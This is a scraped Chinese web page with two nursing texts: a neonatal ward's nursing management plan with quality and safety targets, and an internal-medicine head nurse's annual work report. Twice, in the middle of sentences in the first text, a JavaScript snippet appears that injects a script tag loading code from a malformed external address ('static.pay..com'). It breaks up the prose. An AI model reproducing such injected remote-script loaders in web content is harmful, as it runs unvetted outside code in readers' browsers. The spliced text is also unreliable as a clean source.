1. 新生兒科主要專業護理技術工作有哪些
一、規范護理管理工作，認真落實各項制度及工作任務 （一）組織全科護士認真學習醫院、護理部下達的各項規章制度，進一步規范落實各項操作規程。 (二）進一步完善細化適合新生兒科護理工作的各項專科護理管理制度及工作制度，做到各項工作有制可依，有章可循。 二、加強護理人力資源管理和業務培訓，提高護理人員專業素養 管理目標：護理人員分層級培訓率為≥90%；三基」理論合格率≥90%(80分合格)；護理技術操作合格率100%，（90分合格）；護士每年離職率≤10%，護士對科內績效分配知曉率≥80%；緊急護理人力資源調配知曉率100%。 實施方案： （一）嚴格按照醫院護理崗位管理實施方案，對科內護理實行層級管理；對科內護士花名冊及時更新。 （二）以醫院績效分配方案為總部署，進一步細化科內 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 績效分配方案，將工作量、工作質量、滿意度等納入每月護士的績效考核，並讓護士充分知曉績效分配方案，從而調動護士的積極性。 （三）加強護士業務培訓，擬定全年培訓計劃，內容涵蓋「三基」知識培訓、核心制度培訓、新生兒科專科護理知識培訓、新生兒科專科護理技能培訓等方面的內容，做到每次培訓後均有考核。 （四）不斷的更新護理知識，增加護士外出學習和進修的機會，計劃今年有護士取得新生兒科專科護士資質。 （五）對科內護士實習彈力排班，進一步完善緊急護理人力資源調配方案和流程並加強培訓考核。 三、加強護理質量過程式控制制並持續改進，進一步推進優質護理工作 管理目標：基礎護理合格率≥95％；專科護理合格率≥95％；危重患者護理合格率≥95％；病房管理合格率≥95％；急救物品質量合格分95分，急救葯品完好率為100%；護理文書合格率≥90％；患兒家屬滿意度≥95％；健康教育知曉率≥85％。 實施措施： （一）繼續實行護理質量院科兩級管理，充分發揮科室質控小組的質控作用，提高護士發現問題，解決問題的能力， var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 持續保持檢查、分析、整改、評價制度，做好追蹤記錄，增強全員參與質量管理的意識，提高護理質量。 （二）進一步做好病區管理、基礎護理和病區感染控制等方面的工作，對照質量檢查標准逐項落實。進一步規范護理文書書寫，對存在的問題要及時分析改進，杜絕同一問題反復出現的現象。 （三）改變排班方式，落實責任制整體護理工作模式，根據患兒的個性化進行入院評估和制定護理工作計劃，讓優質護理服務措施落實有效。 (四)加強急救儀器、設備的管理和使用培訓，提高對危重患兒的評估和緊急處理能力。 四、加強護理安全管理，保障患兒安全 管理目標：患者身份識別正確率≥100％；護士正確查對執行率100％；特殊葯品存放符合率≥90%、正確執行核對率90%；護理不良事件主動報告率100％、護士對不良事件報告制度知曉率100%；無嚴重護理差錯發生。 實施措施： （一）科室安全管理設專人負責，定期組織檢查，發現安全隱患按程序及時報告，採取措施，及時改進。 （二）進一步落實護理核心制度，做好高危時段、高危環節、高危人群的管理。
2. 內科護士長述職報告
內科護士長述職報告
時光飛逝，轉眼又到了一年的年底，回望這一年來我在護士長的崗位上所做的工作，心中有很多感慨；現將2010年以來各項工作總結如下：
一、嚴格管理，有效協調
一年來，在護理部和科主任的領導下，從各方面嚴格要求自己，在科室工作尤其是護理工作中身先士卒，大膽管理，認真落實醫院和科室的各項工作制度，保證了科室工作穩步進行。積極配合主任做好醫護協調工作，引導大家做好醫護溝通；及時發現並解決一些摩擦和矛盾，增強了科室凝聚力，使中醫科成為一個溫暖的大家庭；讓醫生護士在身心愉悅的狀態下工作，也為病人營造了溫馨、和諧的病區住院環境。
二、狠抓護理業務培訓
作為一個中西醫結合內科綜合科室，我們科面臨病種雜，疑難雜症多，護理專科性不強的難題。而與之對應的是：中醫科的12名護士，僅有一名是中西醫結合護理大專畢業，其餘都是西醫護理專業畢業，在學校僅了解到簡單的中醫基礎知識；在西醫「專科護士」培訓不斷深入發展，專科護士特點和優勢越來越明顯的今天，中醫科護士沒有特定的專業知識和發展方向，這在一程度上影響了這個群體的工作積極性和隊伍的穩定性，也給病區護理工作質量帶來了負面影響。
針對這一現實，我果斷決定：從我做起，全員培訓。採取業務講課和業務查房相結合的方式，發動科主任和醫生參與，對包括呼吸、循環、消化、神經系統的常見內科疾病知識進行培訓，對中醫基礎知識和常用技能系統培訓，甚至對一些普外科和骨科疾病的保守治療、護理知識，也進行了培訓。一年的系統培訓下來，考核結果表明，護士對上述各系統常見疾病都有了全面的認識和了解，這不僅提高了她們的業務技術水平，也極大的增強了護士對自身、對科室發展的信心。此後，我又採取日常強化的方式，不斷結合病房現有病例強化培訓過的知識，終於打造出了一支技術過硬、有中醫特色的護理隊伍。
三、嘗試文化管理，力求做出特色
多年的護士長經歷，使我深切的體會到：對於一個團隊而言，規范其行為固然重要，但更重要的是要改變其思想，升華其內心世界，要讓「護士長管理」這個外因，通過護士「個人素質」的內因起作用。為此，我採取了一系列措施：在護士排班表上，每周送她們一句人生、職場感悟；舉辦「天使心語」小板報；利用早會給她們講一些勵志、哲理等小故事，引發她們對人生、對事業的思索。潛移默化之中，我們中醫科的護士，人文素質有了很大提高。我終於打造出了「我用人文知識改變護士---護士有效管理自己---護理工作質量提高」的良性鏈條。近幾年，不僅中醫科的護理文化建設搞得風生水起，而且圓滿的完成了各項工作目標。在省市歷次檢查中，我們中醫科以收費規范著稱，每次都迎接收費檢查，沒有給醫院丟過一分。在行風評議檢查中，中醫科的健康教育和護理服務，更是贏得了參檢專家的肯定和贊揚。
四、注重服務細節，提高病人滿意度
比如說，在對病人的健康教育方面，多數科室的做法是，單純依靠護士口頭宣教，但我通過長期以來的觀察，發現了一個弊端：護士說得少了，內容涵蓋不全，說得多了，因為時間有限，就會說得快而沒有重點，這樣，病人根本記不住。為此，我把入院宣教的內容列了一個提綱，作為護士口頭宣教的內容，而把詳細內容輸入電腦，護士在做提綱挈領的宣教後，把詳細的資料發於病人，這都起到很好的效果。類似的還有「鼻飼知識宣教」、「痰培養標本留取方法」、「尿培養標本留取注意事項」等等等等。這種口頭和書面相結合的宣教方法，不僅有助於病人掌握，也節省了護士大量時間，因此深受大家歡迎。
五、不斷學習總結，提高自身素質
俗話說，打鐵還需自身硬，在認真做好科室護理管理工作的同時，我堅持學習新知識，不斷總結臨床護理經驗，提高自身綜合素質。於2010年5月參加了心理咨詢師考試，望在8月份獲得三級心理咨詢師證書。一年來，先後在國家級、省級雜志上發表學術論文3篇，在我院院刊上發表詩歌1篇，散文兩篇。
六、不足之處和努力方向
面對我的病人我的科室，我可以坦然的說，為了你們，我一直在努力！但是，面對自己，我深知工作中還有很多的缺憾，比如，科研是護理工作前進和發展的重要動力，但我們中醫科的護理科研項目至今還是空白；再比如，有時候，過於嚴厲的要求，我甚至看到過護士的眼淚和無奈。 因此，展望未來，對新的一年的護士長工作我充滿了信心，作為護士長我的努力方向是：1、力爭在護理科研方面有所突破；2、寬嚴結合，讓自己的管理方式更加成熟。